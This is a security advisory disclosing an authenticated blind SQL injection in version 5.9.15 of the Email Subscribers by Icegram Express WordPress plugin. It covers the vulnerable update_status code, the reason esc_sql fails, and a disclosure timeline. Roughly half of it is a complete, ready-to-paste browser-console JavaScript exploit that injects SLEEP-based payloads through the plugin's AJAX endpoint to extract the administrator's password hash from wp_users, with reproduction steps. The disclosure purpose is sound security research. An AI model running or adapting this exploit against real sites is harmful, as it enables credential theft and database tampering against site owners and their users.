| Field | Value |
|---|---|
| Plugin Name | Email Subscribers by Icegram Express |
| Vendor | Icegram |
| Tested Version | 5.9.15 |
| Vulnerability Type | SQL Injection (Blind, Time-Based / Boolean-Based) |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89: Improper Neutralization of Special Elements used in an SQL Command |
| Authentication Required | Yes (Administrator) |
The Email Subscribers by Icegram Express plugin for WordPress is vulnerable to SQL Injection via the workflow_ids parameter in the update_status function. The vulnerability exists because user-supplied input is insufficiently sanitized before being incorporated into SQL queries.
The esc_sql() function used for sanitization only escapes quotes and backslashes, which is inadequate for protecting against SQL injection in IN clause contexts where numeric values don't require quotes.
- File:
lite/includes/workflows/db/class-es-db-workflows.php - Function:
update_status() - Lines: 360-385
public function update_status( $workflow_ids = array(), $status = 0 ) {
global $wpbd;
$updated = false;
if ( empty( $workflow_ids ) ) {
return $updated;
}
$workflow_ids = esc_sql( $workflow_ids ); // Insufficient sanitization
// Variable to hold workflow ids seperated by commas.
$workflow_ids_str = '';
if ( is_array( $workflow_ids ) && count( $workflow_ids ) > 0 ) {
$workflow_ids_str = implode( ',', $workflow_ids );
} elseif ( is_numeric( $workflow_ids ) ) {
$workflow_ids_str = $workflow_ids;
}
if ( ! empty( $workflow_ids_str ) ) {
// String interpolation occurs BEFORE prepare()
$updated = $wpbd->query( $wpbd->prepare(
"UPDATE {$wpbd->prefix}ig_workflows SET status = %d WHERE id IN ($workflow_ids_str)",
$status
));
}
// ...
}The vulnerability is exploitable through the AJAX endpoint:
- Action:
wp_ajax_icegram-express - Handler:
workflows - Method:
update_status
esc_sql()only escapes single quotes, double quotes, and backslashes- In an
INclause context, SQL injection payloads don't require quotes - String interpolation occurs before
$wpdb->prepare()is called - No validation is performed on the
workflow_idsarray elements
- WordPress installation with Email Subscribers plugin version 5.9.15 or earlier
- Administrator account access
- Navigate to any Email Subscribers admin page (e.g.,
/wp-admin/admin.php?page=es_workflows)
The following JavaScript extracts the administrator's password hash from the wp_users table:
/**
* Binary Search Boolean-Based Blind SQL Injection PoC
* Target: WordPress Email Subscribers Plugin <= 5.9.15
* Extracts admin (ID=1) password hash from wp_users table
*
* Usage:
* 1. Login as WordPress admin
* 2. Navigate to any Email Subscribers admin page
* 3. Open browser DevTools (F12) -> Console
* 4. Paste and execute this script
*/
(async function extractWithBinarySearch() {
const DELAY_SEC = 0.5;
const THRESHOLD_MS = DELAY_SEC * 1000 * 0.8;
const TARGET_LENGTH = 20;
let extractedHash = '';
console.log('========================================');
console.log('Binary Search Boolean-Based SQLi PoC');
console.log('Target: Admin (ID=1) Password Hash');
console.log('========================================\n');
async function testCondition(condition) {
const payload = `1) AND IF(${condition},SLEEP(${DELAY_SEC}),0)-- -`;
const startTime = Date.now();
try {
await jQuery.ajax({
url: ajaxurl,
type: 'POST',
timeout: (DELAY_SEC + 2) * 1000,
data: {
action: 'icegram-express',
security: ig_es_js_data.security,
handler: 'workflows',
method: 'update_status',
data: JSON.stringify({
workflow_ids: [payload],
status: 1
})
}
});
} catch (e) {}
return (Date.now() - startTime) >= THRESHOLD_MS;
}
async function findCharAt(position) {
let low = 32, high = 126;
while (low <= high) {
const mid = Math.floor((low + high) / 2);
const query = `(SELECT user_pass FROM wp_users WHERE ID=1)`;
// Test: ASCII >= mid
const condition = `ASCII(SUBSTRING(${query},${position},1))>=${mid}`;
const isGreaterOrEqual = await testCondition(condition);
if (isGreaterOrEqual) {
// Test: ASCII = mid
const exactCondition = `ASCII(SUBSTRING(${query},${position},1))=${mid}`;
const isExact = await testCondition(exactCondition);
if (isExact) {
return String.fromCharCode(mid);
}
low = mid + 1;
} else {
high = mid - 1;
}
}
return '?';
}
for (let pos = 1; pos <= TARGET_LENGTH; pos++) {
const char = await findCharAt(pos);
extractedHash += char;
console.log(`[+] Position ${pos}: '${char}' | Current: ${extractedHash}`);
}
console.log('\n========================================');
console.log(`[+] Extraction complete!`);
console.log(`[+] Admin hash (first ${TARGET_LENGTH} chars): ${extractedHash}`);
console.log('========================================');
if (extractedHash.startsWith('$P$')) {
console.log('[+] Confirmed valid WordPress PHPass format!');
}
return extractedHash;
})();- Install and activate Email Subscribers by Icegram Express plugin (version 5.9.15)
-
Complete the initial setup wizard by clicking "Save & Proceed"
-
Navigate to the Workflows page:
/wp-admin/admin.php?page=es_workflows -
Open browser Developer Tools (F12) and go to the Console tab
-
Paste and execute the PoC script above
- Observe the extracted password hash characters appearing in the console
An authenticated attacker with administrator privileges can:
-
Extract sensitive data from the WordPress database, including:
- User credentials (password hashes)
- Email addresses and personal information
- Plugin configuration and secrets
-
Modify database contents through crafted UPDATE statements
-
Potential privilege escalation if combined with other vulnerabilities (e.g., the Broken Access Control vulnerability in the same plugin allows lower-privileged users to access this endpoint)
| Date | Action |
|---|---|
| 2025-01-28 | Vulnerability discovered |
| 2025-01-28 | Report submitted to Wordfence |
Chiao-Lin, Yu (Steven Meow) & Kai-Ching, Wang (Keniver Wang)